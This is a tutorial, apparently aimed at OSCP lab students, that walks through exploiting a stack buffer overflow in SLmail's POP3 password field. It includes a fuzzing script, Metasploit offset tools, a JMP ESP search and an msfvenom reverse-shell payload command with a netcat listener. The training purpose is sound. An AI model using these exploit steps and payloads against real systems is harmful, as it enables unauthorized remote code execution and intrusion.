Pulling off a classical Win32 buffer overflow is a lot like baking a fancy cake. The cake recipe is actually a bunch of smaller recipes for the topping, the icing, the layers and the filling. If you don't get each mini-recipe right, the cake will suck.
Similarly, a buffer overflow recipe has the following mini-recipes:
Find the instruction pointer
Make a simple script to shove a bunch of garbage into an input field and crash the program
Find the exact number of characters required to reach the EIP (instruction pointer)
Redirect execution of the program
Inspect the program's .dll files to find one without memory protections
Once you've found a suitable .dll, search for a
JMP ESP (jump to the stack pointer) command
Record the memory address for this command
Find the 'bad' characters that will prevent your exploit from working
Generate shellcode without bad characters
Assemble the exploit
Update your simple script to hit the EIP, jump to the ESP and execute your shellcode
Throw in a few nops for breathing room
Don't forget to put the
JMP ESP memory address in backwards!
If you haven't done this before, many of the terms above will be unfamiliar, but don't worry. You can do simple buffer overflows without knowing much about Assembly or memory layout, and you'll learn a lot along the way. I spent far too much time reading about those things and freaking myself out. All you need to get started is in the video below.
If you're signed up for PWK-OSCP, you'll get a Windows 7 lab machine with tools installed to practice buffer overflows. It's also pretty easy to set up yourself if you can run 2 virtual machines (Kali and Windows) or run a Windows VM on a native Kali machine. In all cases, the Kali machine needs to be able to reach the Windows machine over the network.
Download and install a Windows 7 virtual machine
Turn off Windows Firewall
At this point, you'll want to snapshot your VM so that you can revert back if your Windows trial expires or you blow up the whole operating system somehow.
SLmail is one of the classic examples for teaching buffer overflows. There are lots of walkthroughs online, but many concepts aren't fully explained. This walkthrough is for all the ultranoobs like me who don't know much about debuggers, hex, ASCII, python, etc.
Download it from Exploit-DB and install with defaults (just keep hitting Next). Since you'll be attacking the POP server on port 110, you should check if it's open and reachable. You can do this by connecting to it from your Windows netcat program:
nc [Windows IP] 110
You can also confirm the POP3 service is running with a quick nmap scan from your Kali machine. This becomes important when you run the debugger and crash the program - you can restart it if you have some kind of service manager (like XAMMP Control Panel), but if you just click on
SLMail.exe the port may not show up unless you restart Windows. Checking that the POP3 service is up will save you a lot of headaches during exploitation.
The first step is to crash the program by submitting an overly-long password during login, and watching what happens in Immunity Debugger.
Create a small python script that will repeatedly log into the mail server and submit long strings of characters for the password:
#!/usr/bin/pythonimport socket# Create an array where each item in the array will be a string of Asbuffer=["A"]counter=100# Use a loop to build the array, first with 100 As, then 300, then 500, etc.while len(buffer) <= 30:buffer.append("A"*counter)counter=counter+200# Try each string of As in the array as a password valuefor string in buffer:print "Fuzzing PASS with %s bytes" % len(string)s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Connect to Windows 7 machine IP, POP3 serviceconnect=s.connect(('10.0.0.1',110))s.recv(1024)s.send('USER username\r\n')s.recv(1024)s.send('PASS ' + string + '\r\n')s.send('QUIT\r\n')s.close()
Open Immunity Debugger, click
File > Attach and choose
SLmail.exe. You'll see four quadrants of gibberish representing machine language, registers, dump and stack. The program will be paused, so you'll need to hit the Play icon or F9 to run it.
Then run the above python script and observe the output in the terminal. It should hang after the message
Fuzzing PASS with 2900 bytes, which tells you that a crash occurs somewhere around 2700 bytes. Meanwhile, Immunity Debugger will show that the EIP has been overwritten with
41414141, or more specifically, a bunch of As. An "A" in hex is represented by
The EIP is important because it is the instruction pointer - it holds the memory address of the next instruction to be carried out. The goal is to overwrite the EIP with a new memory address which points to malicious code. To do this, you need to find out exactly how many characters it takes to reach the EIP without overwriting it.
The fastest way to do this is to send a unique, 2700-character string as the password and observe which character segment overwrites the EIP. This can be done in Kali using Metasploit's
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
This will produce a block of unique characters that you can plug into your script instead of the As:
When you run this script, the EIP will be written with some fragment of this unique string:
You can use Metasploit's
pattern_offset tool to find the location of the
39694438fragment in the unique string:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438
[*] Exact match at offset 2606
So the exact position of the EIP is 2606.
The next step is to give the EIP (instruction pointer) directions to our malicious shellcode. How do we know where our shellcode will end up in memory? At this stage it's helpful to see how these exploits are typically structured:
Recall that this exploit involves shoving a big string of characters into the SLmail password field. As shown in the diagram, the string starts out with some filler characters, enough to touch the EIP. Then we have the EIP, which contains a 4-byte memory address pointing to our shellcode. After the EIP, there is a nop sled for wiggle room. Finally, we have our shellcode.
Because of how this exploit string is structured, you'll notice that the stack pointer (ESP) is pointing right at our payload. That means you don't need to give the EIP the exact address of your shellcode - you can simply tell it to jump to the stack pointer and execute whatever is there. Conveniently, there is an instruction known as
JMP ESP which does exactly that! If you can find a
JMP ESP instruction somewhere else in the program, you can give its memory address to the EIP and it will jump to your payload.
Using Mona.py, you can pull up a list of modules loaded with the SLmail program by typing
!mona modules into the bottom text box. The true/false columns in the middle show which ones were compiled without buffer overflow protections (DEP and ASLR).
SLMFC.dll seems to fit the bill nicely.
Click the tiny
e button on Immunity’s top bar to bring up a list of executable modules and highlight SLMFC. Double-clicking on this item will show us the instructions in the DLL. We can then right-click and choose
Search for > Command (or use Ctrl + F) to find a
JMP ESP command. If you don't find one, you can search for the opcode, which is
FFE4 using Mona.py. Enter this command into the bottom text field:
!mona find -s “\xff\xe4″ -m slmfc.dll
Record the memory address from the first result and flip it because of little endian nonsense:
5F 4A 35 8F # Address retrieved from Mona results\x8f\x35\x4a\x5f # How it looks in your final exploit
(here's a quick explanation of the
0x stuff you see around hex codes)
Now that we've built the first part of our exploit, we can prepare some malicious shellcode that can be successfully executed by the program.
In order to run, the shellcode can't contain characters that will be interpreted incorrectly by the program you are exploiting (such as newline). These can be identified by overflowing the buffer until the EIP is overwritten, then inserting the hex representation of all ASCII characters:
Note: The ASCII character
\x00 is left out because it's a null byte, which immediately terminates the remainder of the shellcode. It's always a bad character.
Start the SLmail POP3 service, attach it to Immunity Debugger and run your Python script. You'll notice that the EIP has been overwritten with
42424242 (the 4 Bs you added to the buffer after the 2606 As).
The next step is to find your buffer string in the dump. In the Registers area of Immunity, click on the memory address where the string of As went in (ECX), then right-click and choose
Follow in Dump. The dump area will change and show your buffer string:
You'll notice that the ASCII sequence displays normally at first, but instead of showing
0A next it shows
29. That means
\x0a is a bad character:
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a # ASCII sequence in python script01 02 03 04 05 06 07 08 09 29 # Hex dump in Immunity
Remove it from your python script and run it again, following the dump to find the next bad character. As you can see, the sequence proceeds (without the
0A) until we expect to see
0D but it's missing. That means
\x0d is a bad character:
I bet you're really hating yourself now, having to pick through a bunch of microscopic letters looking for errors. Suck it up, remove the
\x0d from your python script and run it again. You should see your entire sequence of ASCII characters with no further errors:
Now we know that there are 3 bad characters which should be removed from our shellcode:
\x00 \x0a \x0d. Generate your shellcode using this msfvenom command:
msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=443 -f c -a x86 --platform windows -b "\x00\x0A\x0D" -e x86/shikata_ga_nai
-b option is where you identify the bad characters. Copy the output and keep it somewhere safe until the final step.
It's time to put together your fancy cake:
2606 As (to hit the EIP)
JMP ESP memory address put in backwards (overwrite EIP and redirect execution)
16 nops (breathing room)
Shellcode (sends you a shell)
As mentioned before, a nopsled is useful if you don't know the exact location of the ESP and want to "slide" into your shellcode, or if you want to prevent the Metasploit decoder at the beginning of your payload from overwriting the shellcode.
Remember to set up a listener on your Kali machine:
nc -nlvp 443
Then run your exploit:
If all goes well, you should get a Windows command prompt on your Kali machine. Assembling the exploit was the easiest part for me. If it doesn't work you, go for a 15-minute walk, cry for a bit, then check your code. It's just a typo somewhere.